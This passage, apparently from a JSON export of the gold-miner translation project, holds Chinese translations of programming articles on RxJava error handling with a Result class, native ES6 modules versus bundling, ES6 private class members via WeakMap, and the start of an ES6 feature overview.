处理了，它只会显示一个错误信息或者其他结果。\n\n更糟糕的是，测试时不会有任何崩溃。测试会失败，并伴随着神秘且意想不到的行为。你不得不花时间调试，而不是立即在一个直观/具体的栈中找到原因。\n\n## 预期的和非预期的异常\n\n首先声明，解释下我所谓的预期中的和非预期中的异常。\n\n可预期异常不是说代码出 bug，而是指运行环境有问题。比如各种 IO 异常，无网络异常等。你的软件应该适当的对这些异常产生反应，或者显示错误消息等。预期的异常类似于第二个有效的返回值，它们是方法签名的一部分。\n\n非预期的异常大多是编程错误。它们可以并且将会在开发的时候出现，但是它们永远不应该发生在生产环境中。至少这是一个目标。但是如果它们确实发生了，通常立即使应用崩溃是一个好主意。这有助于提高问题的关注度然后尽快修复之。\n\n在 Java 中，预期中的异常大多是使用受检异常（直接从 `Exception` 类子类化）实现的。而大多数预期之外的异常则是使用从 `RuntimeException` 类派生的未受检异常实现的。\n\n## 运行时崩溃异常\n\n所以，如果我们想要崩溃，为什么不检查异常是否是一个 `RuntimeException`，并在 `onError` 消费者内重新抛出它呢？如果不仅仅像之前的例子那样处理它呢？\n\n    userProvider.getUsers().subscribe(\n      { users -> onGetUsersSuccess(users) },\n      { e ->\n        if (e is RuntimeException) {\n          throw e\n        } else {\n          onGetUsersFail(e)\n        }\n      }\n    )\n\n这可能看起来不错，但它有一些缺陷：\n\n1. 在 RxJava 2 中，非常令人费解的是它会在实时运行的应用中崩溃，而在测试中不会。在 RxJava 1 中，则无论实时运行还是测试都会崩溃。\n2. 我们想要崩溃的，除了 `RuntimeException` 之外还有更多未受检异常，这包括 `Error` 等。很难追踪所有的这类异常。\n\n但主要缺点是这样的：\n\n在应用开发过程中，你的 Rx 链将会变得越来越复杂。你的 Observable 也将会在不同的地方被重用，包括你从没料到会使用到的上下文中。\n\n假设你已经决定在这个链中使用 `userProvider.getUsers()` 这个 Observable：\n\n    Observable.concat(userProvider.getUsers(), userProvider.getUsers())\n      .onErrorResumeNext(just(emptyList()))\n      .subscribe { println(it) }\n\n当两个 `userProvider.getUsers()` 都触发一个错误将会发生什么？\n\n现在，你可能认为这两个错误都分别映射到一个空列表上，因此将会有两个空列表被触发。不过你可能会惊讶的发现，实际上只有一个列表被触发。这是因为第一个 `userProvider.getUsers()` 中发生的错误将会终止整个链的上游， `concat` 的第二个参数永远不会被执行。\n\n你看，RxJava 中的错误是非常具有破坏性的。它们被设计成致命的信号来终止整条链的上游。它们不应该是你的 Observable 接口的一部分。它们表现为意料之外的错误。\n\nObservable 被设计成使用有效输出来表示错误的触发，这限制了它的使用范围。复杂的链在错误的情况下如何工作很不明朗，所以很容易误用这种 Observable 。这最终会导致错误。非常恶心的错误，只能偶尔重现的（特殊情况下，比如缺少网络）而且不会留下堆栈痕迹的错误。\n\n## 结果类\n\n那么，如何设计 Observable 来让其返回预期的错误呢？只需让它们返回一些 `Result` 类，即包含操作的结果也包含异常，就像这样：\n\n    data class Result<out T>(\n      val data: T?,\n      val error: Throwable?\n    )\n\n将所有预期的异常包含进去，然后将所有不可预期的都放行而使程序崩溃。避免使用 `onError` 消费者，让 RxJava 为你控制崩溃。\n\n现在，虽然这种途径看起来不是特别优雅或直观，并且产生了相当多的样板，但是我发现它会导致最少的问题。此外，它看起来像是在 RxJava 中进行错误处理的『官方』方式。我看到过它在互联网的多个讨论中被 RxJava 的维护者所推荐。\n\n## 一些有用的代码段\n\n为了使你的 Retrofit Observable 返回 `Result` 类，你可以使用这个方便的扩展功能：\n\n    fun <T> Observable<T>.retrofitResponseToResult(): Observable<Result<T>> {\n      return this.map { it.asResult() }\n        .onErrorReturn {\n          if (it is HttpException || it is IOException) {\n            return@onErrorReturn it.asErrorResult<T>()\n          } else {\n            throw it\n          }\n        }\n    }\n\n    fun <T> T.asResult(): Result<T> {\n      return Result(data = this, error = null)\n    }\n\n    fun <T> Throwable.asErrorResult(): Result<T> {\n      return Result(data = null, error = this)\n    }\n\n这样，你的 Observable `userProvider.getUsers()` 看起来可以像这样：\n\n\n    class UserProvider {\n      fun getUsers(): Observable<Result<List<String>>> {\n        return myRetrofitApi.getUsers()\n          .retrofitResponseToResult()\n      }\n    }\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md",
    "content": "> * 原文地址：[ES6 modules support lands in browsers: is it time to rethink bundling?](https://www.contentful.com/blog/2017/04/04/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling/)\n> * 原文作者：本文已获原作者 [Stefan Judis](https://www.contentful.com/about-us/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD),[yzgyyang](https://github.com/yzgyyang)\n\n#  ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？  #\n\n![](http://images.contentful.com/256tjdsmm689/3xFvPzCb6wUek00gQAuU6q/0e8221e0e5c673f18d20448a9ba8924a/Contentful_ES6Modules_.png) \n\n最近一段日子，编写高效的 JavaScript 应用变得越来越复杂。早在几年前，大家都开始合并脚本来减少 HTTP 请求数；后来有了压缩工具，人们为了压缩代码而缩短变量名，甚至连代码的最后一字节都要省出来。\n\n今天，我们有了 [tree shaking](https://blog.engineyard.com/2016/tree-shaking) 和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，加快[交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始转译一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。\n\nES6 模块由 ECMAScript 标准制定，[定稿有些时日了](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要支持 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的工具后（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？），至少看起来浏览器终于能支持模块了。让我们来看看明朗的未来带来了怎样的礼物吧！🎉\n\n## 传统方法 ##\n\n构建 web 应用的常用方式就是使用由 Browserify、Rollup、Webpack 等工具构建的代码包（bundle）。而不使用 SPA（单页面应用）技术的网站则通常由服务端生成 HTML，在其中引入一个 JavaScript 代码包。\n\n```\n<html>\n  <head>\n    <title>ES6 modules tryout</title>\n    <!-- defer to not block rendering -->\n    <script src=\"dist/bundle.js\" defer></script>\n  </head>\n  <body>\n    <!-- ... -->\n  </body>\n</html>\n```\n\n我们使用 Webpack 打包的代码包中包括了 3 个 JavaScript 文件，这些文件使用了 ES6 模块：\n\n```\n// app/index.js\nimport dep1 from './dep-1';\n\nfunction getComponent () {\n  var element = document.createElement('div');\n  element.innerHTML = dep1();\n  return element;\n}\n\ndocument.body.appendChild(getComponent());\n\n// app/dep-1.js\nimport dep2 from './dep-2';\n\nexport default function() {\n  return dep2();\n}\n\n// app/dep-2.js\nexport default function() {\n  return 'Hello World, dependencies loaded!';\n}\n```\n\n这个 app 将会显示“Hello world”。在下文中显示“Hello world”即表示脚本加载成功。\n\n### 装载一个代码包（bundle）\n\n配置使用 Webpack 创建一个代码包相对来说比较直观。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。\n\n```\n// webpack.config.js\n\nconst path = require('path');\nconst UglifyJSPlugin = require('uglifyjs-webpack-plugin');\n\nmodule.exports = {\n  entry: './app/index.js',\n  output: {\n    filename: 'bundle.js',\n    path: path.resolve(__dirname, 'dist')\n  },\n  plugins: [\n    new UglifyJSPlugin()\n  ]\n};\n```\n\n3 个基础文件比较小，加起来只有 347 字节。\n\n```\n$ ll app\ntotal 24\n-rw-r--r--  1 stefanjudis  staff    75B Mar 16 19:33 dep-1.js\n-rw-r--r--  1 stefanjudis  staff    75B Mar  7 21:56 dep-2.js\n-rw-r--r--  1 stefanjudis  staff   197B Mar 16 19:33 index.js\n```\n\n在我通过 Webpack 构建之后，我得到了一个 856 字节的代码包，大约增大了 500 字节。增加这么些字节还是可以接受的，这个代码包与我们平常生产环境中做代码装载没啥区别。感谢 Webpack，我们已经可以使用 ES6 模块了。\n\n\n```\n$ webpack\nHash: 4a237b1d69f142c78884\nVersion: webpack 2.2.1\nTime: 114ms\nAsset       Size        Chunks  Chunk Names\nbundle.js   856 bytes   0       [emitted]  main\n  [0] ./app/dep-1.js 78 bytes {0}[built]\n  [1] ./app/dep-2.js 75 bytes {0}[built]\n  [2] ./app/index.js 202 bytes {0}[built]\n```\n\n## 使用原生支持的 ES6 模块的新设定 ##\n\n现在，我们得到了一个“传统的打包代码”，现在所有还不支持 ES6 模块的浏览器都支持这种打包的代码。我们可以开始玩一些有趣的东西了。让我们在 `index.html` 中加上一个新的 script 元素指向 ES6 模块，为其加上 `type=\"module\"`。\n\n\n```\n<html><head><title>ES6 modules tryout</title><!-- in case ES6 modules are supported --><script src=\"app/index.js\"type=\"module\"></script><script src=\"dist/bundle.js\"defer></script></head><body><!-- ... --></body></html>\n```\n\n然后我们在 Chrome 中看看，发现并没有发生什么事。\n\n![image01](http://images.contentful.com/256tjdsmm689/4JHwnbyrssomECAG2GI8se/e8e35adc37bc0627f0902bcc2fdb52df/image01.png)\n\n代码包还是和之前一样加载，“Hello world!” 也正常显示。虽然没看到效果，但是这说明浏览器可以接受这种它们并不理解的命令而不会报错，这是极好的。Chrome 忽略了这个它无法判断类型的 script 元素。\n\n接下来，让我们在 Safari technology preview 中试试：\n\n![Bildschirmfoto 2017-03-29 um 17.06.26](http://images.contentful.com/256tjdsmm689/1mefe0J3JKOiAoSguwMkka/0d76c5666300ed0b631a0fe548ac5b52/Bildschirmfoto_2017-03-29_um_17.06.26.png)\n\n遗憾的是，它并没有显示另外的“Hello world”。造成问题的原因是构建工具与原生 ES 模块的差异：Webpack 是在构建的过程中找到那些需要 include 的文件，而 ES 模块是在浏览器中运行的时候才去取文件的，因此我们需要为此指定正确的文件路径：\n\n```\n// app/index.js\n\n// 这样写不行\n// import dep1 from './dep-1';\n\n// 这样写能正常工作\nimport dep1 from './dep-1.js';\n```\n\n改了文件路径之后它能正常工作了，但事实上 Safari Preview 加载了代码包，以及三个独立的模块，这意味着我们的代码被执行了两次。\n\n![image02](http://images.contentful.com/256tjdsmm689/6MeIDF7GuW6gy8om4Ceccc/a0dba00a4e0f301f2a7fd65449d044ab/image02.png)\n\n这个问题的解决方案就是加上 `nomodule` 属性，我们可以在加载代码包的 script 元素里加上这个属性。这个属性[是最近才加入标准中的](https://github.com/whatwg/html/commit/a828019152213ae72b0ed2ba8e35b1c472091817)，Safari Preview 也是在[一月底](https://trac.webkit.org/changeset/211078/webkit)才支持它的。这个属性会告诉 Safari，这个 script 是当不支持 ES6 模块时的“退路”。在这个例子中，浏览器支持 ES6 模块因此加上这个属性的 script 元素中的代码将不会执行。\n\n```\n<html>\n  <head>\n    <title>ES6 modules tryout</title>\n    <!-- in case ES6 modules are supported -->\n    <script src=\"app/index.js\" type=\"module\"></script>\n    <!-- in case ES6 modules aren't supported -->\n    <script src=\"dist/bundle.js\" defer nomodule></script>\n  </head>\n  <body>\n    <!-- ... -->\n  </body>\n</html>\n```\n\n![image03](http://images.contentful.com/256tjdsmm689/1YchZEromA2ueKUCoYqMsc/2c68c46ffd2a3ad73d99d17020d56093/image03.png)\n\n现在好了。通过结合使用 `type=\"module\"` 与 `nomodule`，我们现在可以在不支持 ES6 模块的浏览器中加载传统的代码包，在支持 ES6 模块的浏览器中加载 JavaScript 模块。\n\n你可以在 [es-module-on.stefans-playground.rocks](http://es-module-on.stefans-playground.rocks/) 查看这个尚在制定的规范。\n\n### 模块与脚本的不同 ###\n\n这儿有几个问题。首先，JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在他的[探索 ES6](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)一书中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书，但是在此我先快速地总结一下主要的不同点：\n\n- ES6 模块默认在严格模式下运行（因此你不需要加上 `use strict` 了）。\n- 最外层的 `this` 指向 `undefined`（而不是 window）。\n- 最高级变量是 module 的局部变量（而不是 global）。\n- ES6 模块会在浏览器完成 HTML 的分析之后异步加载与执行。\n\n我认为，这些特性是巨大进步。模块是局部的——这意味着我们不再需要到处使用 IIFE 了，而且我们不用再担心全局变量泄露。而且默认在严格模式下运行，意味着我们可以在很多地方抛弃 `use strict` 声明。\n\n> 译注：IIFE 全称 immediately-invoked function expression，即立即执行函数，也就是大家熟知的在函数后面加括号。\n\n从改善性能的观点来看（可能是最重要的进步），**模块默认会延迟加载与执行**。因此我们将不再会不小心给我们的网站加上了阻碍加载的代码，使用 `type=\"module\"` 的 script 元素也不再会有 [SPOF](https://www.stevesouders.com/blog/2010/06/01/frontend-spof/) 问题。我们也可以给它加上一个 `async` 属性，它将会覆盖默认的延迟加载行为。不过使用  `defer` [在现在也是一个不错的选择](https://calendar.perfplanet.com/2016/prefer-defer-over-async/)。\n\n> 译注：SPOF 全称 Single Points Of Failure——单点故障\n\n```\n<!-- not blocking with defer default behavior -->\n<script src=\"app/index.js\" type=\"module\"></script>\n\n<!-- executed after HTML is parsed -->\n<script type=\"module\">\n  console.log('js module');\n</script>\n\n<!-- executed immediately -->\n<script>\n  console.log('standard module');\n</script>\n```\n\n如果你想详细了解这方面内容，可以阅读 [script 元素说明](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element)，这篇文章简单易读，并且包含了一些示例。\n\n## 压缩纯 ES6 代码 ##\n\n还没完！我们现在能为 Chrome 提供压缩过的代码包，但是还不能为 Safari Preview 提供单独压缩过的文件。我们如何让这些文件变得更小呢？UglifyJS 能完成这项任务吗？\n\n然而必须指出，UglifyJS 并不能完全处理好 ES6 代码。虽然它有个 `harmony` 开发版分支（[地址](https://github.com/mishoo/UglifyJS2/tree/harmony)）支持ES6，但不幸的是在我写这 3 个 JavaScript 文件的时候它并不能正常工作。\n\n```\n$ uglifyjs dep-1.js -o dep-1.min.js\nParse error at dep-1.js:3,23\nexport default function() {\n                      ^\nSyntaxError: Unexpected token: punc (()\n// ..\nFAIL: 1\n```\n\n但是现在 UglifyJS 几乎存在于所有工具链中，那全部使用 ES6 编写的工程应该怎么办呢？\n\n通常的流程是使用 Babel 之类的工具将代码转换为 ES5，然后使用 Uglify 对 ES5 代码进行压缩处理。但是在这篇文章里我不想使用 ES5 翻译工具，因为我们现在是要寻找面向未来的处理方式！Chrome 已经[覆盖了 97% ES6 规范](https://kangax.github.io/compat-table/es6/#chrome59) ，而 Safari Preview 版[自 verion 10 之后已经 100% 很好地支持 ES6](https://kangax.github.io/compat-table/es6/#safari10_1)了。\n\n我在推特中提问是否有能够处理 ES6 的压缩工具，[Lars Graubner](https://twitter.com/larsgraubner) 告诉我可以使用 [Babili](https://github.com/babel/babili)。使用 Babili，我们能够轻松地对 ES6 模块进行压缩。\n\n\n```\n// app/dep-2.js\n\nexport default function() {\n  return 'Hello World. dependencies loaded.';\n}\n\n// dist/modules/dep-2.js\nexport default function(){return 'Hello World. dependencies loaded.'}\n```\n\n使用 Babili CLI 工具，可以轻松地分别压缩各个文件。\n\n```\n$ babili app -d dist/modules\napp/dep-1.js -> dist/modules/dep-1.js\napp/dep-2.js -> dist/modules/dep-2.js\napp/index.js -> dist/modules/index.js\n```\n\n最终结果：\n\n```\n$ ll dist\n-rw-r--r--  1 stefanjudis  staff   856B Mar 16 22:32 bundle.js\n\n$ ll dist/modules\n-rw-r--r--  1 stefanjudis  staff    69B Mar 16 22:32 dep-1.js\n-rw-r--r--  1 stefanjudis  staff    68B Mar 16 22:32 dep-2.js\n-rw-r--r--  1 stefanjudis  staff   161B Mar 16 22:32 index.js\n```\n\n代码包仍然是大约 850B，所有文件加起来大约是 300B。我没有使用 GZIP，因为[它并不能很好地处理小文件](http://webmasters.stackexchange.com/questions/31750/what-is-recommended-minimum-object-size-for-gzip-performance-benefits)。（我们稍后会提到这个）\n\n## 能通过 rel=preload 来加速 ES6 的模块加载吗？ ##\n\n对单个 JS 文件进行压缩取得了很好的效果。文件大小从 856B 降低到了 298B，但是我们还能进一步地加快加载速度。通过使用 ES6 模块，我们可以装载更少的代码，但是看看瀑布图你会发现，request 会按照模块的依赖链一个一个连续地加载。\n\n那如果我们像之前在浏览器中对代码进行预加载那样，用 `<link rel=\"preload\" as=\"script\">` 元素告知浏览器要加载额外的 request，是否会加快模块的加载速度呢？在 Webpack 中，我们已经有了类似的工具，比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载，那 ES6 模块有没有类似的方法呢？如果你还不清楚 `rel=\"preload\"` 是如何运作的，你可以先阅读 Yoav Weiss 在 Smashing Magazine 发表的相关文章：[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)\n\n但是，ES6 模块的预加载并不是那么简单，他们与普通的脚本有很大的不同。那么问题来了，对一个 link 元素加上  `rel=\"preload\"` 将会怎样处理 ES6 模块呢？它也会取出所有的依赖文件吗？这个问题显而易见（可以），但是使用 `preload` 命令加载模块，需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题，如果你感兴趣的话可以点进去看一看。但是事实证明，使用 `rel=\"preload\"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel=\"modulepreload\"` 命令来专门加载模块。在本文写作时，[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中，你可以点进去看看未来我们可能会怎样进行模块的预加载。\n\n## 加入真实的依赖 ##\n\n仅仅 3 个文件当然没法做一个真正的 app，所以让我们给它加一些真实的依赖。[Lodash](https://lodash.com/) 根据 ES6 模块对它的功能进行了分割，并分别提供给用户。我取出其中一个功能，然后使用 Babili 进行压缩。现在让我们对 `index.js` 文件进行修改，引入这个 Lodash 的方法。\n\n\n```\nimport dep1 from './dep-1.js';\nimport isEmpty from './lodash/isEmpty.js';\n\nfunction getComponent() {\n  const element = document.createElement('div');\n  element.innerHTML = dep1() + ' ' + isEmpty([]);\n\n  return element;\n}\n\ndocument.body.appendChild(getComponent());\n```\n\n在这个例子中，`isEmpty` 基本上没有被使用，但是在加上它的依赖后，我们可以看看发生了什么：\n\n![image07](http://images.contentful.com/256tjdsmm689/13F95Xpl32Mu0MgE0mgS2o/c9dbc002e53bf56ee0eeb0df40b55f9c/image07.png)\n\n可以看到 request 数量增加到了 40 个以上，页面在普通 wifi 下的加载时间从大约 100 毫秒上升到了 400 到 800 毫秒，加载的数据总大小在没有压缩的情况下增加到了大约 12KB。可惜的是  [WebPagetest](https://www.webpagetest.org/) 在 Safari Preview 中不可用，我们没法给它做可靠的标准检测。\n\n但是，Chrome 收到打包后的 JavaScript 数据比较小，只有大约 8KB。\n\n![image05](http://images.contentful.com/256tjdsmm689/6xxfWBW9nqAeqQ8ck0MqU/62a74102e9247d785a61a84766356f51/image05.png)\n\n这 4KB 的差距是不能忽视的。你可以在 [lodash-module-on.stefans-playground.rocks](https://lodash-module-on.stefans-playground.rocks/) 找到本示例。\n\n### 压缩工作仅对大文件表现良好 ###\n\n如果你仔细看上面 Safari 开发者工具的截图，你可能会注意到传输后的文件大小其实比源码还要大。在很大的 JavaScript app 中这个现象会更加明显，一堆的小 Chunk 会造成文件大小的很大不同，因为 GZIP 并不能很好地压缩小文件。\n\nKhan Academy 在前一段时间[探究了同样的问题](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)，他是用 HTTP/2 进行研究的。装载更小的文件能够很好地确保缓存命中率，但到最后它一般都会作为一个权衡方案，而且它的效果会被很多因素影响。对于一个很大的代码库来说，分解成若干个 chunk（一个 *vendor* 文件和一个 app bundle）是理所当然的，但是要装载数千个不能被压缩的小文件可能并不是一种明智的方法。\n\n### Tree shaking 是个超 COOL 的技术 ###\n\n必须要说：感谢非常新潮的 tree shaking 技术，通过它，构建进程可以将没有使用过以及没有被其它模块引用的代码删除。第一个支持这个技术的构建工具是 Rollup，现在 Webpack 2 也支持它——[只要我们在 babel 中禁用 `module` 选项](https://medium.freecodecamp.com/tree-shaking-es6-modules-in-webpack-2-1add6672f31b#22c4)。\n\n我们试着改一改 `dep-2.js`，让它包含一些不会在 `dep-1.js` 中使用的东西。\n\n```\nexport default function() {\n  return 'Hello World. dependencies loaded.';\n}\n\nexport const unneededStuff = [\n  'unneeded stuff'\n];\n```\n\nBabili 只会压缩文件， Safari Preview 在这种情况下会接收到这几行没有用过的代码。而另一方面，Webpack 或者 Rollup 打的包将不会包含这个 `unnededStuff`。Tree shaking 省略了大量代码，它毫无疑问应当被用在真实的产品代码库中。\n\n## 尽管未来很明朗，但是现在的构建过程仍然不会变动 ##\n\nES6 模块即将到来，但是直到它最终在各大主流浏览器中实现前，我们的开发并不会发生什么变化。我们既不会装载一堆小文件来确保压缩率，也不会为了使用 tree shaking 和死码删除来抛弃构建过程。**前端开发现在及将来都会一如既往地复杂**。\n\n不要把所有东西都进行分割然后就假设它会改善性能。我们即将迎来 ES6 模块的浏览器原生支持，但是这不意味着我们可以抛弃构建过程与合适的打包策略。在我们 Contentful 这儿，将继续坚持我们的构建过程，以及继续使用我们的  [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/) 进行打包。\n\n然而，我们必须承认现在前端的开发体验仍然良好。JavaScript 仍在进步，最终我们将能够使用语言本身提供的模块系统。在几年后，原生模块对 JavaScript 生态的影响以及最佳实践方法将会是怎样的呢？让我们拭目以待。\n\n## 其它资源 ##\n\n- [ES6 模块系列文章](https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview) 作者：Serg Hospodarets\n- [《探索 ES6》](http://exploringjs.com/) 的 [模块章节](http://exploringjs.com/es6/ch_modules.html)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/es6-private-members.md",
    "content": ">* 原文链接 : [Private members in ES6 classes](https://gist.github.com/greim/44e54c2f23eab955bb73b31426e96d6c)\n* 原文作者 : [Greg Reimer](https://github.com/greim)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [XRene](https://github.com/CommanderXL)\n* 校对者:[narcotics726](https://github.com/narcotics726), [jingkecn](https://github.com/jingkecn)\n\n# ECMAScript 6 里面的私有变量\n\n“...让我们创建一个ES6的类吧，”你说。“再给它一个私有变量”\n\n    class Foo {\n      constructor(x) {\n        this.x = x;\n      }\n      getX() {\n        return this.x;\n      }\n    }\n\n“拜托.”我白了一眼说。“变量x根本就不是私有的。全世界都还是可以对它进行读写操作！”\n\n“我们可以给这个变量前面加个下划线,”你反驳道。“其他开发人员就再也不会使用这个变量了，因为它的声明方式很丑陋，下划线就能把大家都吓跑了”\n\n    class Foo {\n      constructor(x) {\n        this._x = x;\n      }\n      getX() {\n        return this._x;\n      }\n    }\n\n“这种写法确实很丑陋,”我承认道,晃着杯底的咖啡蹙眉凝思并自以为然,“但是它仍然不是私有的，其他人一定还会去访问它。”\n\n“那我们还可以这样干,”你反驳道,“我们可以设置它的属性为不可枚举。这样就没人能觉察到它了！”\n\n    class Foo {\n      constructor(x) {\n        Object.defineProperty(this, 'x', {\n          value: x,\n          enumerable: false,\n        });\n      }\n      getX() {\n        return this.x;\n      }\n    }\n“直到其他开发人员读了你的源码前，确实是这样的。”我摘下眼镜，默然的回答道。\n\n“那我们还可以这样做!”你尴尬的笑道,但明显有些紧张地将目光投向屋里的其他人想寻求支持，但没人愿意跟你有任何眼神交流，“我们可以把所有私有变量塞到构造函数的闭包当中。大功告成！”\n\n    class Foo {\n      constructor(x) {\n        this.getX = () => x;\n      }\n    }\n\n“但是这么一来，”我以手扶额，无奈的争辩道,“每一个类的实例都会包含这个函数的副本。这样不仅效率低，同时也与预期不符:这个变量本应在存在于原型上。其他人也会应该感到困惑，到时候可就归咎于你了！”\n\n“那好吧，”你就像抓住一根救命稻草一样说，“我们可以在定义类的函数外面，将私有变量用map存储起来，使用实例来作为键，这样可能就没人能获取到这个变量了吧?”\n\n    const __ = new Map();\n\n    class Foo {\n      constructor(x) {\n        __.set(this, { x });\n      }\n      getX() {\n        var { x } = __.get(this);\n        return x;\n      }\n    }\n\n“但是现在这样会导致内存泄漏，”我洋洋自得的反驳道，好像已经嗅到了胜利的味道,“map始终维持着对于你所设定的实例的强引用，就算程序已经不再使用这个实例，但是它仍然被GC标记而存在于内存当中。”\n\n“嗯...”你摸着自己的下巴，眨巴着眼睛说，“那我们就使用[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)吧。”\n\n    const __ = new WeakMap();\n\n    class Foo {\n      constructor(x) {\n        __.set(this, { x });\n      }\n      getX() {\n        var { x } = __.get(this);\n        return x;\n      }\n    }\n\n我：满头大汗，无言以对。\n\n  \n"
  },
  {
    "path": "TODO/es6.md",
    "content": "> * 原文链接: [ES6 Overview in 350 Bullet Points](https://ponyfoo.com/articles/es6)\n* 原文作者 : [Nicolas Bevacqua](https://ponyfoo.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者 :\n* 状态 : 待定\n\n# 350 个特性看透 ES6\n\n### Introduction\n\n*   ES6 – also known as Harmony, `es-next`, ES2015 – is the latest finalized specification of the language\n*   The ES6 specification was finalized in **June 2015**, _(hence ES2015)_\n*   Future versions of the specification will follow the `ES[YYYY]` pattern, e.g ES2016 for ES7\n    *   **Yearly release schedule**, features that don’t make the cut take the next train\n    *   Since ES6 pre-dates that decision, most of us still call it ES6\n    *   Starting with ES2016 (ES7), we should start using the `ES[YYYY]` pattern to refer to newer versions\n    *   Top reason for naming scheme is to pressure browser vendors into quickly implementing newest features\n\n### Tooling\n\n*   To get ES6 working today, you need a **JavaScript-to-JavaScript** _transpiler_\n*   Transpilers are here to stay\n    *   They allow you to compile code in the latest version into older versions of the language\n    *   As browser support gets better, we’ll transpile ES2016 and ES2017 into ES6 and beyond\n    *   We’ll need better source mapping functionality\n    *   They’re the most reliable way to run ES6 source code in production today _(although browsers get ES5)_\n*   Babel _(a transpiler)_ has a killer feature: **human-readable output**\n*   Use [`babel`](http://babeljs.io/) to transpile ES6 into ES5 for static builds\n*   Use [`babelify`](https://github.com/babel/babelify) to incorporate `babel` into your [Gulp, Grunt, or `npm run`](https://ponyfoo.com/articles/gulp-grunt-whatever) build process\n*   Use Node.js `v4.x.x` or greater as they have decent ES6 support baked in, thanks to `v8`\n*   Use `babel-node` with any version of `node`, as it transpiles modules into ES5\n*   Babel has a thriving ecosystem that already supports some of ES2016 and has plugin support\n*   Read [A Brief History of ES6 Tooling](https://ponyfoo.com/articles/a-brief-history-of-es6-tooling)\n\n### Assignment Destructuring\n\n*   `var {foo} = pony` is equivalent to `var foo = pony.foo`\n*   `var {foo: baz} = pony` is equivalent to `var baz = pony.foo`\n*   You can provide default values, `var {foo='bar'} = baz` yields `foo: 'bar'` if `baz.foo` is `undefined`\n*   You can pull as many properties as you like, aliased or not\n    *   `var {foo, bar: baz} = {foo: 0, bar: 1}` gets you `foo: 0` and `baz: 1`\n*   You can go deeper. `var {foo: {bar}} = { foo: { bar: 'baz' } }` gets you `bar: 'baz'`\n*   You can alias that too. `var {foo: {bar: deep}} = { foo: { bar: 'baz' } }` gets you `deep: 'baz'`\n*   Properties that aren’t found yield `undefined` as usual, e.g: `var {foo} = {}`\n*   Deeply nested properties that aren’t found yield an error, e.g: `var {foo: {bar}} = {}`\n*   It also works for arrays, `[a, b] = [0, 1]` yields `a: 0` and `b: 1`\n*   You can skip items in an array, `[a, , b] = [0, 1, 2]`, getting `a: 0` and `b: 2`\n*   You can swap without an _“aux”_ variable, `[a, b] = [b, a]`\n*   You can also use destructuring in function parameters\n    *   Assign default values like `function foo (bar=2) {}`\n    *   Those defaults can be objects, too `function foo (bar={ a: 1, b: 2 }) {}`\n    *   Destructure `bar` completely, like `function foo ({ a=1, b=2 }) {}`\n    *   Default to an empty object if nothing is provided, like `function foo ({ a=1, b=2 } = {}) {}`\n*   Read [ES6 JavaScript Destructuring in Depth](https://ponyfoo.com/articles/es6-destructuring-in-depth)\n\n### Spread Operator and Rest Parameters\n\n*   Rest parameters is a better `arguments`\n    *   You declare it in the method signature like `function foo (...everything) 